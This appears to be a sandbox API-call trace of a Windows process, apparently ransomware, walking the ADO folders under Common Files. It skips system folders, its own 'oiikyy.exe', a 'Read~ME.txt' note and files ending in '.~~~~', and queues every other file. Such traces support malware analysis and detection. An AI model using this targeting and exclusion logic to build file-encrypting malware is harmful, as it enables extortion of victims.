	[0079.675] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0079.675] lstrcmpiW (lpString1="System", lpString2="Windows") returned -1
	[0079.675] lstrcmpW (lpString1="System", lpString2=".") returned 1
	[0079.675] lstrcmpW (lpString1="System", lpString2="..") returned 1
	[0079.675] lstrcmpW (lpString1="System", lpString2="AppData") returned 1
	[0079.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System", lpSrch="AppData") returned 0x0
	[0079.675] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.676] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System", lpString2="C:\\Windows") returned -1
	[0079.676] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.676] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System", lpString2="C:\\System Volume Information") returned -1
	[0079.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0079.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0079.688] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.688] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.688] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.688] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.688] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.688] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.688] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.688] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.688] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.688] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.688] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.688] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.688] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1
	[0079.688] lstrcmpiW (lpString1="ado", lpString2="Windows") returned -1
	[0079.689] lstrcmpW (lpString1="ado", lpString2=".") returned 1
	[0079.689] lstrcmpW (lpString1="ado", lpString2="..") returned 1
	[0079.689] lstrcmpW (lpString1="ado", lpString2="AppData") returned -1
	[0079.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\ado", lpSrch="AppData") returned 0x0
	[0079.689] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.689] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\ado", lpString2="C:\\Windows") returned -1
	[0079.689] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.689] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\ado", lpString2="C:\\System Volume Information") returned -1
	[0079.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3bc6e8
	[0079.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0079.692] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.692] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.692] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.692] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.692] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.693] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.693] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.693] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.693] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.693] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.693] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.693] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.693] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1
	[0079.693] lstrcmpiW (lpString1="adojavas.inc", lpString2="Windows") returned -1
	[0079.693] lstrcmpW (lpString1="adojavas.inc", lpString2="oiikyy.exe") returned -1
	[0079.775] StrStrW (lpFirst="adojavas.inc", lpSrch=".~~~~") returned 0x0
	[0079.775] lstrcmpW (lpString1="adojavas.inc", lpString2="Read~ME.txt") returned -1
	[0079.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.775] GetCurrentThreadId () returned 0x618
	[0079.775] RtlWakeConditionVariable () returned 0x365f48
	[0079.775] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1
	[0079.775] lstrcmpiW (lpString1="adovbs.inc", lpString2="Windows") returned -1
	[0079.776] lstrcmpW (lpString1="adovbs.inc", lpString2="oiikyy.exe") returned -1
	[0079.776] StrStrW (lpFirst="adovbs.inc", lpSrch=".~~~~") returned 0x0
	[0079.776] lstrcmpW (lpString1="adovbs.inc", lpString2="Read~ME.txt") returned -1
	[0079.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0079.776] GetCurrentThreadId () returned 0x618
	[0079.776] RtlWakeConditionVariable () returned 0x365f48
	[0079.776] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0079.776] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1
	[0079.776] lstrcmpW (lpString1="en-US", lpString2=".") returned 1
	[0079.776] lstrcmpW (lpString1="en-US", lpString2="..") returned 1
	[0079.776] lstrcmpW (lpString1="en-US", lpString2="AppData") returned 1
	[0079.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US", lpSrch="AppData") returned 0x0
	[0079.776] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.776] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\ado\\en-US", lpString2="C:\\Windows") returned -1
	[0079.776] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.776] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\ado\\en-US", lpString2="C:\\System Volume Information") returned -1
	[0079.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0079.777] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0079.778] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.778] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.778] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.778] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.778] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.778] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.778] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.778] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.778] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.778] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.780] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.780] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.780] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1
	[0079.780] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="Windows") returned -1
	[0079.780] lstrcmpW (lpString1="msader15.dll.mui", lpString2="oiikyy.exe") returned -1
	[0079.780] StrStrW (lpFirst="msader15.dll.mui", lpSrch=".~~~~") returned 0x0
	[0079.780] lstrcmpW (lpString1="msader15.dll.mui", lpString2="Read~ME.txt") returned -1
	[0079.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb700
	[0079.780] GetCurrentThreadId () returned 0x618
	[0079.780] RtlWakeConditionVariable () returned 0x365f48
	[0079.781] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0
	[0079.781] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0079.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.781] GetCurrentThreadId () returned 0x618
	[0079.781] RtlWakeConditionVariable () returned 0x365f48
	[0079.781] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1
	[0079.781] lstrcmpiW (lpString1="msader15.dll", lpString2="Windows") returned -1
	[0079.781] lstrcmpW (lpString1="msader15.dll", lpString2="oiikyy.exe") returned -1
	[0079.781] StrStrW (lpFirst="msader15.dll", lpSrch=".~~~~") returned 0x0
	[0079.781] lstrcmpW (lpString1="msader15.dll", lpString2="Read~ME.txt") returned -1
	[0079.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.781] GetCurrentThreadId () returned 0x618
	[0079.781] RtlWakeConditionVariable () returned 0x365f48
	[0079.781] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1
	[0079.781] lstrcmpiW (lpString1="msado15.dll", lpString2="Windows") returned -1
	[0079.781] lstrcmpW (lpString1="msado15.dll", lpString2="oiikyy.exe") returned -1
	[0079.782] StrStrW (lpFirst="msado15.dll", lpSrch=".~~~~") returned 0x0
	[0079.782] lstrcmpW (lpString1="msado15.dll", lpString2="Read~ME.txt") returned -1
	[0079.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.782] GetCurrentThreadId () returned 0x618
	[0079.782] RtlWakeConditionVariable () returned 0x365f48
	[0079.782] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1
	[0079.782] lstrcmpiW (lpString1="msado20.tlb", lpString2="Windows") returned -1
	[0079.782] lstrcmpW (lpString1="msado20.tlb", lpString2="oiikyy.exe") returned -1
	[0079.782] StrStrW (lpFirst="msado20.tlb", lpSrch=".~~~~") returned 0x0
	[0079.782] lstrcmpW (lpString1="msado20.tlb", lpString2="Read~ME.txt") returned -1
	[0079.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.782] GetCurrentThreadId () returned 0x618
	[0079.782] RtlWakeConditionVariable () returned 0x365f48
	[0079.782] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1
	[0079.782] lstrcmpiW (lpString1="msado21.tlb", lpString2="Windows") returned -1
	[0079.782] lstrcmpW (lpString1="msado21.tlb", lpString2="oiikyy.exe") returned -1
	[0079.782] StrStrW (lpFirst="msado21.tlb", lpSrch=".~~~~") returned 0x0
	[0079.782] lstrcmpW (lpString1="msado21.tlb", lpString2="Read~ME.txt") returned -1
	[0079.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.782] GetCurrentThreadId () returned 0x618
	[0079.782] RtlWakeConditionVariable () returned 0x365f48
	[0079.782] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1
	[0079.782] lstrcmpiW (lpString1="msado25.tlb", lpString2="Windows") returned -1
	[0079.783] lstrcmpW (lpString1="msado25.tlb", lpString2="oiikyy.exe") returned -1
	[0079.783] StrStrW (lpFirst="msado25.tlb", lpSrch=".~~~~") returned 0x0
	[0079.783] lstrcmpW (lpString1="msado25.tlb", lpString2="Read~ME.txt") returned -1
	[0079.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.783] GetCurrentThreadId () returned 0x618
	[0079.783] RtlWakeConditionVariable () returned 0x365f48
	[0079.783] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1
	[0079.783] lstrcmpiW (lpString1="msado26.tlb", lpString2="Windows") returned -1
	[0079.783] lstrcmpW (lpString1="msado26.tlb", lpString2="oiikyy.exe") returned -1
	[0079.783] StrStrW (lpFirst="msado26.tlb", lpSrch=".~~~~") returned 0x0
	[0079.783] lstrcmpW (lpString1="msado26.tlb", lpString2="Read~ME.txt") returned -1
	[0079.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.783] GetCurrentThreadId () returned 0x618
	[0079.783] RtlWakeConditionVariable () returned 0x365f48
	[0079.783] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1
	[0079.783] lstrcmpiW (lpString1="msado27.tlb", lpString2="Windows") returned -1
	[0079.783] lstrcmpW (lpString1="msado27.tlb", lpString2="oiikyy.exe") returned -1
	[0079.783] StrStrW (lpFirst="msado27.tlb", lpSrch=".~~~~") returned 0x0
	[0079.783] lstrcmpW (lpString1="msado27.tlb", lpString2="Read~ME.txt") returned -1
	[0079.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.783] GetCurrentThreadId () returned 0x618
	[0079.783] RtlWakeConditionVariable () returned 0x365f48
	[0079.783] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1
	[0079.784] lstrcmpiW (lpString1="msado28.tlb", lpString2="Windows") returned -1
	[0079.784] lstrcmpW (lpString1="msado28.tlb", lpString2="oiikyy.exe") returned -1
	[0079.784] StrStrW (lpFirst="msado28.tlb", lpSrch=".~~~~") returned 0x0
	[0079.784] lstrcmpW (lpString1="msado28.tlb", lpString2="Read~ME.txt") returned -1
	[0079.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.784] GetCurrentThreadId () returned 0x618
	[0079.784] RtlWakeConditionVariable () returned 0x365f48
	[0079.784] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1
	[0079.784] lstrcmpiW (lpString1="msadomd.dll", lpString2="Windows") returned -1
	[0079.784] lstrcmpW (lpString1="msadomd.dll", lpString2="oiikyy.exe") returned -1
	[0079.784] StrStrW (lpFirst="msadomd.dll", lpSrch=".~~~~") returned 0x0
	[0079.784] lstrcmpW (lpString1="msadomd.dll", lpString2="Read~ME.txt") returned -1
	[0079.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.784] GetCurrentThreadId () returned 0x618
	[0079.784] RtlWakeConditionVariable () returned 0x365f48
	[0079.784] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1
	[0079.784] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="Windows") returned -1
	[0079.784] lstrcmpW (lpString1="msadomd28.tlb", lpString2="oiikyy.exe") returned -1
	[0079.784] StrStrW (lpFirst="msadomd28.tlb", lpSrch=".~~~~") returned 0x0
	[0079.784] lstrcmpW (lpString1="msadomd28.tlb", lpString2="Read~ME.txt") returned -1
	[0079.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.785] GetCurrentThreadId () returned 0x618
	[0079.785] RtlWakeConditionVariable () returned 0x365f48
	[0079.785] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1
	[0079.785] lstrcmpiW (lpString1="msador15.dll", lpString2="Windows") returned -1
	[0079.785] lstrcmpW (lpString1="msador15.dll", lpString2="oiikyy.exe") returned -1
	[0079.785] StrStrW (lpFirst="msador15.dll", lpSrch=".~~~~") returned 0x0
	[0079.785] lstrcmpW (lpString1="msador15.dll", lpString2="Read~ME.txt") returned -1
	[0079.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.785] GetCurrentThreadId () returned 0x618
	[0079.785] RtlWakeConditionVariable () returned 0x365f48
	[0079.785] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1
	[0079.785] lstrcmpiW (lpString1="msadox.dll", lpString2="Windows") returned -1
	[0079.785] lstrcmpW (lpString1="msadox.dll", lpString2="oiikyy.exe") returned -1
	[0079.785] StrStrW (lpFirst="msadox.dll", lpSrch=".~~~~") returned 0x0
	[0079.785] lstrcmpW (lpString1="msadox.dll", lpString2="Read~ME.txt") returned -1
